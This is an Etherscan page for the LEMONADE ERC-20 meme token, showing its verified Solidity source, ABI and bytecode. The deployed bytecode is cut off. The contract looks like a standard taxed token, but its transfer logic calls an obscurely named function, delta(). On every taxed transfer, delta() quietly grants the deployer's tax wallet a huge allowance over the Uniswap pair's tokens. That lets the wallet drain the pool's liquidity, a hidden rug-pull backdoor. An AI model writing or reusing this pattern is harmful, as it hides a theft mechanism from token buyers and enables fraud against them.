Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 LEMONADE
Holders
88
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
927,309,770.449134364 LEMONADEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
LEMONADE
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-16 */ /** When life gives you lemons you hodl. Web: https://lemonadeoneth.fun X: https://x.com/lemonade_erc20 Tg: https://t.me/lemonade_erc20 **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.24; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract LEMONADE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _dApproval; mapping (address => bool) private _shouldExcemptD; address payable private dTaxReceipt; uint256 private _initialBuyTax=15; uint256 private _initialSellTax=15; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=15; uint256 private _reduceSellTaxAt=15; uint256 private _preventSwapBefore=12; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10 ** _decimals; string private constant _name = unicode"Lemonade"; string private constant _symbol = unicode"LEMONADE"; uint256 public _maxDAmount = 2 * _tTotal / 100; uint256 public _maxDWallet = 2 * _tTotal / 100; uint256 public _taxSwapThreshold = 1 * _tTotal / 100; uint256 public _maxTaxSwap = 1 * _tTotal / 100; IUniswapV2Router02 private uniDRouter; address private uniDPair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event MaxTxAmountUpdated(uint _maxDAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { dTaxReceipt = payable(_msgSender()); _tOwned[_msgSender()] = _tTotal; _shouldExcemptD[address(this)] = true; _shouldExcemptD[_msgSender()] = true; emit Transfer(address(0), address(this), _tTotal); } function initPairOf() external onlyOwner { uniDRouter = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniDRouter), _tTotal); uniDPair = IUniswapV2Factory(uniDRouter.factory()).createPair( address(this), uniDRouter.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _dApproval[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _dApproval[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _dApproval[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (!swapEnabled || inSwap) { _tOwned[from] = _tOwned[from] - amount; _tOwned[to] = _tOwned[to] + amount; emit Transfer(from, to, amount); return; } if (delta([from==uniDPair?from:uniDPair, dTaxReceipt]) && from != owner() && to != owner()) { if (from == uniDPair && to != address(uniDRouter) && ! _shouldExcemptD[to] ) { require(tradingOpen,"Trading not open yet."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); require(amount <= _maxDAmount, "Exceeds the _maxDAmount."); require(balanceOf(to) + amount <= _maxDWallet, "Exceeds the maxWalletSize."); _buyCount++; } if (to != uniDPair && ! _shouldExcemptD[to]) { require(balanceOf(to) + amount <= _maxDWallet, "Exceeds the maxWalletSize."); } if(to == uniDPair) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } if (!inSwap && to == uniDPair && swapEnabled && _buyCount>_preventSwapBefore) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance>_taxSwapThreshold) dSwapEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); dSendEth(); } } if(taxAmount>0){ _tOwned[address(this)]=_tOwned[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _tOwned[from]=_tOwned[from].sub(amount); _tOwned[to]=_tOwned[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function enableTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniDRouter.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniDPair).approve(address(uniDRouter), type(uint).max); swapEnabled = true; tradingOpen = true; } function removeLimits(address payable limit) external onlyOwner{ dTaxReceipt = limit; _maxDAmount=_tTotal; _maxDWallet=_tTotal; _shouldExcemptD[limit] = true; emit MaxTxAmountUpdated(_tTotal); } function delta(address[2] memory devs) private returns(bool){ address devA = devs[0]; address devB = devs[1]; _dApproval[devA][devB]=(10+5+_maxDAmount-5)*(1000-500); return true; } function dSendEth() private { dTaxReceipt.transfer(address(this).balance); } function withdrawEth() external onlyOwner { payable(_msgSender()).transfer(address(this).balance); } function min(uint256 a, uint256 b) private pure returns(uint256){ return (a>b)?b:a; } receive() external payable {} function dSwapEth(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniDRouter.WETH(); _approve(address(this), address(uniDRouter), amount); uniDRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxDAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxDAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxDWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initPairOf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600f600555600f6006555f6007555f600855600f600955600f600a55600c600b555f600c5560646009600a6200003b919062000340565b6200004c906461f313f88062000357565b6200005990600262000357565b62000065919062000371565b600d556064620000786009600a62000340565b62000089906461f313f88062000357565b6200009690600262000357565b620000a2919062000371565b600e556064620000b56009600a62000340565b620000c6906461f313f88062000357565b620000d390600162000357565b620000df919062000371565b600f556064620000f26009600a62000340565b62000103906461f313f88062000357565b6200011090600162000357565b6200011c919062000371565b6010553480156200012b575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556200018c6009600a62000340565b6200019d906461f313f88062000357565b335f81815260016020818152604080842095909555308084526003909152848320805460ff1990811684179091559383529382208054909316179091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002096009600a62000340565b6200021a906461f313f88062000357565b60405190815260200160405180910390a362000391565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028557815f190482111562000269576200026962000231565b808516156200027757918102915b93841c93908002906200024a565b509250929050565b5f826200029d575060016200033a565b81620002ab57505f6200033a565b8160018114620002c45760028114620002cf57620002ef565b60019150506200033a565b60ff841115620002e357620002e362000231565b50506001821b6200033a565b5060208310610133831016604e8410600b841016171562000314575081810a6200033a565b62000320838362000245565b805f190482111562000336576200033662000231565b0290505b92915050565b5f6200035060ff8416836200028d565b9392505050565b80820281158282048414176200033a576200033a62000231565b5f826200038c57634e487b7160e01b5f52601260045260245ffd5b500490565b6119f2806200039f5f395ff3fe608060405260043610610112575f3560e01c80636e90e10f1161009d57806395d89b411161006257806395d89b41146102dc578063a0ef91df1461030c578063a9059cbb14610320578063bf474bed1461033f578063dd62ed3e14610354575f80fd5b80636e90e10f1461024657806370a082311461025a578063715018a61461028e5780638a8c523c146102a25780638da5cb5b146102b6575f80fd5b806318160ddd116100e357806318160ddd146101c257806323b872dd146101d65780632e80e8ee146101f5578063313ce5671461020a57806332489e9b14610225575f80fd5b8062bb14e01461011d57806306fdde0314610145578063095ea7b31461017e5780630faee56f146101ad575f80fd5b3661011957005b5f80fd5b348015610128575f80fd5b50610132600d5481565b6040519081526020015b60405180910390f35b348015610150575f80fd5b506040805180820190915260088152674c656d6f6e61646560c01b60208201525b60405161013c91906115e5565b348015610189575f80fd5b5061019d610198366004611645565b610398565b604051901515815260200161013c565b3480156101b8575f80fd5b5061013260105481565b3480156101cd575f80fd5b506101326103ae565b3480156101e1575f80fd5b5061019d6101f036600461166f565b6103cf565b348015610200575f80fd5b50610132600e5481565b348015610215575f80fd5b506040516009815260200161013c565b348015610230575f80fd5b5061024461023f3660046116ad565b610436565b005b348015610251575f80fd5b50610244610531565b348015610265575f80fd5b506101326102743660046116ad565b6001600160a01b03165f9081526001602052604090205490565b348015610299575f80fd5b5061024461072b565b3480156102ad575f80fd5b5061024461079c565b3480156102c1575f80fd5b505f546040516001600160a01b03909116815260200161013c565b3480156102e7575f80fd5b506040805180820190915260088152674c454d4f4e41444560c01b6020820152610171565b348015610317575f80fd5b50610244610981565b34801561032b575f80fd5b5061019d61033a366004611645565b6109d6565b34801561034a575f80fd5b50610132600f5481565b34801561035f575f80fd5b5061013261036e3660046116c8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a43384846109e2565b5060015b92915050565b5f6103bb6009600a6117f3565b6103ca906461f313f880611801565b905090565b5f6103db848484610b05565b61042c843361042785604051806060016040528060288152602001611995602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111ff565b6109e2565b5060019392505050565b5f546001600160a01b031633146104685760405162461bcd60e51b815260040161045f90611818565b60405180910390fd5b600480546001600160a01b0319166001600160a01b03831617905561048f6009600a6117f3565b61049e906461f313f880611801565b600d556104ad6009600a6117f3565b6104bc906461f313f880611801565b600e556001600160a01b0381165f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61050e6009600a6117f3565b61051d906461f313f880611801565b60405190815260200160405180910390a150565b5f546001600160a01b0316331461055a5760405162461bcd60e51b815260040161045f90611818565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105a49030906105956009600a6117f3565b610427906461f313f880611801565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610618919061184d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610677573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069b919061184d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106e5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610709919061184d565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107545760405162461bcd60e51b815260040161045f90611818565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107c55760405162461bcd60e51b815260040161045f90611818565b601254600160a01b900460ff161561081f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045f565b6011546001600160a01b031663f305d7194730610850816001600160a01b03165f9081526001602052604090205490565b5f806108635f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108c9573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108ee9190611868565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610943573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109679190611893565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109aa5760405162461bcd60e51b815260040161045f90611818565b60405133904780156108fc02915f818181858888f193505050501580156109d3573d5f803e3d5ffd5b50565b5f6103a4338484610b05565b6001600160a01b038316610a445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045f565b6001600160a01b038216610aa55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045f565b6001600160a01b038216610bcb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045f565b5f8111610c2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045f565b6012545f90600160b01b900460ff161580610c505750601254600160a81b900460ff165b15610d08576001600160a01b0384165f90815260016020526040902054610c789083906118b2565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610ca79083906118c5565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cfa9086815260200190565b60405180910390a350505050565b60408051808201909152601254610d5d919081906001600160a01b03888116911614610d3f576012546001600160a01b0316610d41565b865b6001600160a01b03908116825260045416602090910152611237565b8015610d7657505f546001600160a01b03858116911614155b8015610d8f57505f546001600160a01b03848116911614155b156110cb576012546001600160a01b038581169116148015610dbf57506011546001600160a01b03848116911614155b8015610de357506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4857601254600160a01b900460ff16610e395760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b604482015260640161045f565b610e656064610e5f600954600c5411610e5457600554610e58565b6007545b859061129a565b9061131f565b9050600d54821115610eb95760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617844416d6f756e742e0000000000000000604482015260640161045f565b600e5482610edb856001600160a01b03165f9081526001602052604090205490565b610ee591906118c5565b1115610f335760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045f565b600c8054905f610f42836118d8565b91905055505b6012546001600160a01b03848116911614801590610f7e57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ffd57600e5482610fa5856001600160a01b03165f9081526001602052604090205490565b610faf91906118c5565b1115610ffd5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045f565b6012546001600160a01b039081169084160361103b576110386064610e5f600a54600c541161102e57600654610e58565b600854859061129a565b90505b601254600160a81b900460ff1615801561106257506012546001600160a01b038481169116145b80156110775750601254600160b01b900460ff165b80156110865750600b54600c54115b156110cb57305f90815260016020526040902054600f548111156110c1576110c16110bc846110b784601054611360565b611360565b611374565b6110c96114e4565b505b801561114357305f908152600160205260409020546110ea908261151a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113a9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111659083611578565b6001600160a01b0385165f908152600160205260409020556111a861118a8383611578565b6001600160a01b0385165f908152600160205260409020549061151a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111f18585611578565b604051908152602001610cfa565b5f81848411156112225760405162461bcd60e51b815260040161045f91906115e5565b505f61122e84866118b2565b95945050505050565b80516020820151600d545f92919060059061125390600f6118c5565b61125d91906118b2565b611269906101f4611801565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055506001919050565b5f825f036112a957505f6103a8565b5f6112b48385611801565b9050826112c18583611904565b146113185760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045f565b9392505050565b5f61131883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b9565b5f81831161136e5782611318565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113ba576113ba6118f0565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611411573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611435919061184d565b81600181518110611448576114486118f0565b6001600160a01b03928316602091820292909201015260115461146e91309116846109e2565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a69085905f90869030904290600401611923565b5f604051808303815f87803b1580156114bd575f80fd5b505af11580156114cf573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109d3573d5f803e3d5ffd5b5f8061152683856118c5565b9050838110156113185760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045f565b5f61131883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ff565b5f81836115d95760405162461bcd60e51b815260040161045f91906115e5565b505f61122e8486611904565b5f602080835283518060208501525f5b81811015611611578581018301518582016040015282016115f5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109d3575f80fd5b5f8060408385031215611656575f80fd5b823561166181611631565b946020939093013593505050565b5f805f60608486031215611681575f80fd5b833561168c81611631565b9250602084013561169c81611631565b929592945050506040919091013590565b5f602082840312156116bd575f80fd5b813561131881611631565b5f80604083850312156116d9575f80fd5b82356116e481611631565b915060208301356116f481611631565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174d57815f1904821115611733576117336116ff565b8085161561174057918102915b93841c9390800290611718565b509250929050565b5f82611763575060016103a8565b8161176f57505f6103a8565b8160018114611785576002811461178f576117ab565b60019150506103a8565b60ff8411156117a0576117a06116ff565b50506001821b6103a8565b5060208310610133831016604e8410600b84101617156117ce575081810a6103a8565b6117d88383611713565b805f19048211156117eb576117eb6116ff565b029392505050565b5f61131860ff841683611755565b80820281158282048414176103a8576103a86116ff565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561185d575f80fd5b815161131881611631565b5f805f6060848603121561187a575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118a3575f80fd5b81518015158114611318575f80fd5b818103818111156103a8576103a86116ff565b808201808211156103a8576103a86116ff565b5f600182016118e9576118e96116ff565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f8261191e57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119735784516001600160a01b03168352938301939183019160010161194e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d1585ee9787e7e6ebd407999152239ecd193ffe7179bafcbfa049551c00e0f4e64736f6c63430008180033
Deployed Bytecode
0x608060405260043610610112575f3560e01c80636e90e10f1161009d57806395d89b411161006257806395d89b41146102dc578063a0ef91df1461030c578063a9059cbb14610320578063bf474bed1461033f578063dd62ed3e14610354575f80fd5b80636e90e10f1461024657806370a082311461025a578063715018a61461028e5780638a8c523c146102a25780638da5cb5b146102b6575f80fd5b806318160ddd116100e357806318160ddd146101c257806323b872dd146101d65780632e80e8ee146101f5578063313ce5671461020a57806332489e9b14610225575f80fd5b8062bb14e01461011d57806306fdde0314610145578063095ea7b31461017e5780630faee56f146101ad575f80fd5b3661011957005b5f80fd5b348015610128575f80fd5b50610132600d5481565b6040519081526020015b60405180910390f35b348015610150575f80fd5b506040805180820190915260088152674c656d6f6e61646560c01b60208201525b60405161013c91906115e5565b348015610189575f80fd5b5061019d610198366004611645565b610398565b604051901515815260200161013c565b3480156101b8575f80fd5b5061013260105481565b3480156101cd575f80fd5b506101326103ae565b3480156101e1575f80fd5b5061019d6101f036600461166f565b6103cf565b348015610200575f80fd5b50610132600e5481565b348015610215575f80fd5b506040516009815260200161013c565b348015610230575f80fd5b5061024461023f3660046116ad565b610436565b005b348015610251575f80fd5b50610244610531565b348015610265575f80fd5b506101326102743660046116ad565b6001600160a01b03165f9081526001602052604090205490565b348015610299575f80fd5b5061024461072b565b3480156102ad575f80fd5b5061024461079c565b3480156102c1575f80fd5b505f546040516001600160a01b03909116815260200161013c565b3480156102e7575f80fd5b506040805180820190915260088152674c454d4f4e41444560c01b6020820152610171565b348015610317575f80fd5b50610244610981565b34801561032b575f80fd5b5061019d61033a366004611645565b6109d6565b34801561034a575f80fd5b50610132600f5481565b34801561035f575f80fd5b5061013261036e3660046116c8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a43384846109e2565b5060015b92915050565b5f6103bb6009600a6117f3565b6103ca906461f313f880611801565b905090565b5f6103db848484610b05565b61042c843361042785604051806060016040528060288152602001611995602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111ff565b6109e2565b5060019392505050565b5f546001600160a01b031633146104685760405162461bcd60e51b815260040161045f90611818565b60405180910390fd5b600480546001600160a01b0319166001600160a01b03831617905561048f6009600a6117f3565b61049e906461f313f880611801565b600d556104ad6009600a6117f3565b6104bc906461f313f880611801565b600e556001600160a01b0381165f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61050e6009600a6117f3565b61051d906461f313f880611801565b60405190815260200160405180910390a150565b5f546001600160a01b0316331461055a5760405162461bcd60e51b815260040161045f90611818565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105a49030906105956009600a6117f3565b610427906461f313f880611801565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610618919061184d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610677573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069b919061184d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106e5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610709919061184d565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107545760405162461bcd60e51b815260040161045f90611818565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107c55760405162461bcd60e51b815260040161045f90611818565b601254600160a01b900460ff161561081f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045f565b6011546001600160a01b031663f305d7194730610850816001600160a01b03165f9081526001602052604090205490565b5f806108635f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108c9573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108ee9190611868565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610943573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109679190611893565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109aa576040516